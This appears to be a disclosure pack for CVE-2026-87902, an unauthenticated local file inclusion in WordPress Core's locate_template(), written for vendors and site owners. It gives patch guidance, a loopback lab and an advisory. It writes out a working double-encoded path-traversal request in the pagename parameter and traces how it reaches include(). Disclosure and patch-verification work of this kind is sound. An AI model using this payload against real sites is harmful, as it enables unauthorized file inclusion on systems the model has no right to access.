
Proof-of-concept and disclosure pack for CVE-2026-87902, an unauthenticated local file inclusion in WordPress Core via locate_template(), with a loopback lab and patch guidance.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-87902
WordPress — WordPress Core 7.1.1 — WordPress
WordPress Core is vulnerable to Local File Inclusion via the locate_template() function in various versions up to, and including, 7.1.1.
| CVE | CVE-2026-87902 · CVE.org |
| CWE | CWE-98 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Product | WordPress Core |
| Affected | all versions through 7.1.1 (inclusive) |
| Patched | 7.1.2 and later |
| Auth | unauthenticated (see source map) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 only · vendor/client disclosure pack, not a scanner |
wp-includes/template.php get_page_template + locate_template on 7.1.1. Patch 7.1.2 _wp_is_template_path_allowed and validate_file on decoded pagename.
GET/?page_id={id}&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fuploads%252Fghsa7hp8-witnessGET /?page_id=<published page>&pagename=<double-encoded templates/../../../uploads/ghsa7hp8-witness>WP_Query parse_query is_page from page_id; get_posts replaces WHERE with ID=page_idget_page_template urldecode pagename then page-{$pagename}.phplocate_template file_exists(stylesheet_path + '/' + template_name) no jailtemplate-loader realpath + includeUnauthenticated 200 body contains GHSA7HP8-WITNESS and wp_version=7.1.1. Control GET /?page_id=N does not.
Do this first: Update WordPress Core to 7.1.2 or newer.
Verify after upgrade
CVE-2026-87902-Abraxas-Labs.py against the patched build: the mapped witness must not appear.If you cannot update immediately
Target only http://127.0.0.1:8088 (or the loopback you bound). Do not point this script at the internet.
python3 CVE-2026-87902-Abraxas-Labs.py
Success is the witness above in the response body. Generic 200 HTML is not it.
Loopback stack used to reproduce. Official images unless a Dockerfile in this folder builds from source.
cd lab
docker compose up --force-recreate
Bind the vulnerable product tree next to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except 127.0.0.1.
# CVE-2026-87902 / GHSA-7hp8-65ch-5whp
CWE: CWE-98
CVSS: High 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (Wordfence). GitHub advisory: Critical.
## Description
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. `locate_template()` in WordPress <= 7.1.1 concatenates the caller-supplied template name onto the theme path and does not verify the result stays inside the theme. The core-reachable vector is the url-decoded `pagename` query variable. WordPress 7.1.2 adds `_wp_is_template_path_allowed()`.
## Product
WordPress 7.1.1 (fixed in 7.1.2, backported through 4.7.37). Lab oracle is LFI of a witness PHP file, not RCE.
This disclosure pack is licensed under the GNU Affero General Public License v3.0. See LICENSE.
This pack is for the vendor, the site owner, and licensed labs. The script talks to 127.0.0.1. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.